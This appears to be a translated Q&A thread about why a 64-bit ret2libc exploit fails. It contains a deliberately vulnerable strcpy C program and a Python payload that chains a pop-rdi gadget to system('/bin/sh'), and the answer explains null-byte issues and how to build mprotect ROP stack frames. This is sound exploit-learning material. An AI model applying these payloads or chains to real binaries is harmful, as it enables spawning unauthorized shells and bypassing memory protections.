web-dev-qa-db-ja.com

x86_64の以下のコードでret2libcが機能しないのはなぜですか?

x86_64(64ビット-ASLR OFF)でDEPをバイパスしようとしています。私は自分の脆弱なコードを持っており、パラメータ "/ bin/sh"でsystem()にジャンプするための基本的なROPでエクスプロイトコードも書いていますが、うまくいきません。理由はわかりません。

脆弱なCコード:

#include <stdio.h>
#include <string.h>

void main(int argc, char **argv)
{
    char buff[100];
    strcpy(buff, argv[1]);
    printf("%s\n", buff);
}

上記のCコードのエクスプロイトコード:

from struct import pack

# mprotect = 0x7ffff7b0bd90
binsh = 0x7ffff7b97937    # find &system, +999999999999999, "/bin/sh"
system_addr = 0x7ffff7a5b520
pop_rdi_ret = 0x00000000004005cb


payload = ""
payload += "\x90"*120
payload += pack("<Q", pop_rdi_ret)
payload += pack("<Q", binsh)
payload += pack("<Q", system_addr)

print payload

以下は、エクスプロイトコードからの出力です。

[feddy@localhost dep_test]$ ./sample `python exploit.py`
bash: warning: command substitution: ignored null byte in input
�������������������������������������������������������������������������������������������������������������������������@7y���
Segmentation fault (core dumped)

Gdbコアダンプからの出力:

Reading symbols from /home/feddy/dep_test/sample...(no debugging symbols found)...done.
[New LWP 11468]
Core was generated by `./sample ����������������������������������������������������������������������'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000000000040056d in main ()
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.27-30.fc28.x86_64
gef➤  

(スタック内の)アドレスにnullバイトがあるためですか?

そして、64ビットのROPスタックフレームの概念を少しでも理解するのを手伝ってください。32ビットのROPスタックフレームは、64ビットと比較して理解が簡単で、64ビットのROPに関するインターネット上のコンテンツは理解できませんでした。助けて。

そのため、別のエクスプロイトコードのmprotect呼び出しのROPを介してスタックフレームを作成することについても混乱しています。

注:

質問で何か悪い点を見つけた場合は、評判を得るのが難しく、簡単に失うので、投票するのではなく、私に知らせてください。

2
bsdboy

注意すべき点がいくつかあります。

1.strcpy関数は、NULLバイトを検出するとすぐに、宛先バッファへのデータのコピーを停止します。 NULLバイトは0x00または\ x00です。 64ビットマシンでは、アドレスの長さは8バイトです。 pop_rdi_ret = 0x00000000004005cbを考えてみましょう。これにはNULLバイトがあります。したがって、strcpyが最初のNULLバイト(0x40の次のNULLバイト)を検出するとすぐに、コピーを停止します。そのため、NULLバイトが原因で、エクスプロイトペイロードが適切に挿入されていません。


2。 StackGaurdまたはStack Cookie保護なしで脆弱なプログラムをコンパイルしたことを願っています。そこにある場合、スタックスマッシュを検出するとプログラムを強制終了します。 -fno-stack-protectorコンパイラフラグを使用して、StackGaurdなしでコンパイルできます。

3. NOPをバッファーに注入する理由がわかりません。それを行うことに害はありませんが、W XOR Xが有効になっているため、使用もありません。

そして、64ビットでのROPスタックフレームの概念を少しでも理解するのを手伝ってください助けて。

ROPに関しては、32ビットROPと64ビットROPの間に違いはありません。これは、どちらの場合も、ROPガジェットがチェーンされているためです。

ReturnToLibcについて話している場合、違いがあります。 ReturnToLibcは、上記のエクスプロイトで何をしているのかを考えた素晴らしい名前です。あなたはlibc関数に戻って神のアクセスを得ています。

この違いの根本的な原因は、関数の呼び出し方法です。 32ビットプロセスと64ビットプロセスの関数呼び出しメカニズムは異なります。 32ビットでは、引数はスタックを使用して呼び出し先の関数に渡されます。ただし、64ビットでは、最初の6つの引数はレジスタを使用して渡され、引数がさらにある場合はスタックが使用されます。

ここでは関数を呼び出しているため、32ビットと64ビットのエクスプロイトは異なります。あなたが正しく述べたように、64ビットのReturnToLibcエクスプロイトは多かれ少なかれROPです。なぜなら、rdi、rsi、rdxなどにデータをロードするガジェットを見つける必要があるからです。適切なガジェットが見つからない場合は、それらをチェーンする必要があります。

そのため、別のエクスプロイトコードのmprotect呼び出しのためにROP経由でスタックフレームを作成することについても混乱しています。

これであなたを助けましょう。

Mprotectのマンページをご覧ください。

MPROTECT(2)                         Linux Programmer's Manual                              MPROTECT(2)

NAME
        mprotect - set protection on a region of memory

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

32ビットの場合:

まず、32ビットのfakeスタックフレームを作成します。

スタックアドレス空間を実行可能にしたいとします。

Addr = 0xf1f2f3f4、size = 1000、prot = PROT_EXEC |とします。 PROT_WRITE | PROT_READ。

PROT_READ = 1、PROT_WRITE = 2、PROT_EXEC = 4の値。これを参照してください sourcefile

したがって、PROT_READ | PROT_WRITE | PROT_EXEC = 7。

戦略はこれです:

a。脆弱な関数のreturnaddressをmprotectのアドレスで上書きします。 ret命令が実行されると、制御がmprotect関数に移り、スタックがポップされます。 mprotectの場合、スタックbefore実行されるret命令は次のようになります。

<mprotect's Address>          // This is vulnerable function's return address
<mprotect's Return Address>   // This can be exit libc function
<prot = 0x00000007> 
<len = 1000>
<addr = 0xf1f2f3f4> 

さあ、行きます。あなたが望むスタックフレームがあります。

64ビットの場合:

64ビットの脆弱な関数を悪用するには、レジスタを介して引数を渡す必要があります。これは、32ビットエクスプロイトの場合ほど簡単ではありません。これが必要です。

rdi =スタックのアドレス= 0x00007ffff7123456 //単なる例
rsi = 1000
rdx = 0x7

これで、これを直接行うガジェットを見つけるか、ガジェットを見つけてチェーンする必要があります。ここが少し難しくなります。 ROPチェーンを手動で作成するには時間がかかります。 ROPGadget やその他のROPツールを試してみることができます。

あなたが適切なmovガジェットを手に入れていると仮定して、私は私の答えを続けます。

0x400123:mov rdi、0x00007ffff7123456; ret
0x401234:mov rsi、1000; ret
0x412345:mov rdx、0x7; ret

計画は、これらの3つが続けて実行され、次にmprotectが実行されるはずです。したがって、脆弱な関数のretが実行される前のスタックは、次のようになります。

<0x400123>                  // This is originally vulnerable function's return address
<0x401234>
<0x412345>
<mprotect's address> 
<mprotect's return address> 

実際には、スタックはこれよりもはるかに複雑な場合があります。これはほんの一例です。

32ビットのエクスプロイトと64ビットのエクスプロイトのスタックの違いをご覧ください。

不明な点がある場合は、下にコメントを残してください。

1
adwait1-g